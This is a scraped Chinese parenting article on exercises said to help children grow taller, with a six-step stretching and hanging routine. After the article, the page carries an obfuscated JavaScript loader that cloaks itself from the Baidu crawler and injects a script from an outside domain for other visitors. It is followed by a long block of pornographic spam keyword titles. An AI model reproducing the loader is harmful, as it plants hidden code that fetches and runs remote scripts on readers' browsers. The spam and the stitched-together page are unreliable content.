當前位置:首頁 > 母嬰 > 育兒知識 > 正文

小孩做什么運動有助增高?

2017-04-02 10:56:43  來源:360常識網   熱度:
導語:身高作為每個人形象的一個代表,很多人都想要長高。尤其是對于小孩子來說,長高的問題一直是孩子成長過程中家長所關心的問題。有些家長會通

身高作為每個人形象的一個代表,很多人都想要長高。尤其是對于小孩子來說,長高的問題一直是孩子成長過程中家長所關心的問題。有些家長會通過食物來增強營養,或者采取中醫上的藥材,還有的則通過各種運動。通過運動長高是廣為大家所接受的,讓我們來了解下。

運動能使人長高,但也不是任何運動都能使人長高:

1、有利于長高的運動:排球、籃球、足球、芭蕾、健美操、伸展體操、跳繩、慢跑。

2、不利于長高的運動:舉重、負重練習、過度運動、消耗過大的運動(馬拉松等)。

了解一些運動可以有效增高后,下面為大家推薦一套具體的增高體操:

(1)熱身:身體保持正直,然后上體前傾,雙臂伸直用力向后上方揮動。

(2)行走:大幅度擺臂,有力地向前走。

(3)跑步:先小步跑,同時雙手放在肩上,雙臂屈肘向前轉動;然后快速跑跳25—50米。重復4—6次,每次之間稍事休息。

(4)伸拉:踮起腳后跟,雙臂伸直向上伸拉,然后向各方向伸拉。重復6—8次,中間稍事休息。

(5)垂吊:雙手緊握單杠,使身體懸空下垂,下垂時以腳尖能輕輕接觸地面為佳,然后做引體向上動作。男孩每天可做10—15次。女孩每天可做2—5次。

(6)跳躍:雙腳跳躍用手摸樹枝、籃球架、天花板等。每次跳躍5—7秒鐘。

部分身高問題也受遺傳因素的影響,同樣的我們也可以通過后天努力來彌補先天的不足。對于這些運動,也要根據自身情況量力而行,不可急于求成。應該循序漸進,先從簡單做起,后逐步增加運動量,需要孩子長期堅持下來。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产亚洲精品va在线| 精品丰满人妻无套内射 | 精品一区二区三区无码免费视频| 国产精品久久无码一区二区三区网| 国产亚洲综合成人91精品| 精品国产精品久久一区免费式| 午夜精品福利视频| 国产精品人人做人人爽人人添| 亚洲а∨天堂久久精品9966| 免费91麻豆精品国产自产在线观看| 国产精品成人久久久久| 国产91精品在线观看| 国产精品亚洲а∨无码播放| 国产精品资源在线| 国产伦精品一区二区三区女| 亚洲爆乳精品无码一区二区三区| 国产成人精品午夜二三区| 69pao精品视频在线观看| 国产成人精品2021| 国产精品内射视频免费| 日韩精品视频美在线精品视频| 九九精品99久久久香蕉| 国产精品亚洲а∨无码播放| 亚洲?V无码乱码国产精品 | 久久久国产精品无码一区二区三区| 国产精品99久久免费观看| 国产精品 码ls字幕影视| 自拍偷自拍亚洲精品偷一| 亚洲国产成人精品无码区在线秒播| 久久97精品久久久久久久不卡| 亚洲国产精品成人网址天堂| 国产精品无码专区AV在线播放| 91精品久久国产青草| 亚洲AV无码精品色午夜果冻不卡| 久久久久久噜噜精品免费直播| 国产91精品久久久久999| 国产精品99久久久久久| 国产精品青青在线麻豆| 精品久久久久久亚洲精品 | 国产精品91av| 精品性影院一区二区三区内射|